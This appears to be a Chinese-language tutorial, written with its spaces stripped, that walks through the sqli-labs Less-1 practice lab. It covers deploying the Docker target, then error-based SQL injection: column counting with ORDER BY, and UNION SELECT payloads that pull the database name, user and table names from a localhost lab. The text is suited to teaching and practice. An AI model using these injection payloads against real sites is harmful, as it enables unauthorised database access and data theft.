sqli-labs目标机搭建docker部署:dockerpullacgpiano/sqli-labsdockerrun-d-p80:80acgpiano/sqli-labs访问127.0.0后0.1、点击Setup/resetDatabaseforlabsLess-1GET-Errorbased-Singlequotes-String(GETsinglequotecharacterinjectionbasedonerror)basedonerrorreporting--guessingSQLstatementaccesshttp://127.0.0.1/Less-1/?id=1'错误:你的SQL语法有错误;检查与您的MySQL服务器版本相对应的手册,以了解在第1行的''1''LIMIT0,1'附近使用的正确语法by'1''LIMIT0,1猜测SQL语句:SELECT...FROM。..WHEREid='1'LIMIT0,1//SELECT*FROMusersWHEREid='$id'LIMIT0,1通过猜测表的列数在源码顺序中手动注入0x01SELECT*FROMusersWHEREid='1'orderby1--'LIMIT0,1这条SQL语句的意思是查询users表中id为1的数据,并按第一个字段排序。当orderby后面的数字大于表中的列数时,就会报错。访问http://127.0.0.1/Less-1/?id=1'orderby3--+页面正常,访问http://127.0.0.1/Less-1/?id=1'orderby4--+页面异常:所以用户表有3个字段。0x02组合查询获取信息并集运算符可以将两个或多个select语句的查询结果集组合成一个结果集进行显示,即执行组合查询。需要注意的是,使用联合查询时,需要和主查询的列数相同,这也是为什么需要先猜测列数的原因。检查回显位:2和3echohttp://127.0.0.1/Less-1/?id=-1'UNIONSELECT1,2,3--+getdataversion()#MySQLversionuser()#Database用户名database()#数据库名@@datadir#数据库路径@@version_compile_os#操作系统版本http://127.0.0.1/Less-1/?id=-1'UNIONSELECT1,database(),user()--+获取数据库名security,用户root@localhosthttp://127.0.0.1/Less-1/?id=-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()--+获取每个表名,请输入代码
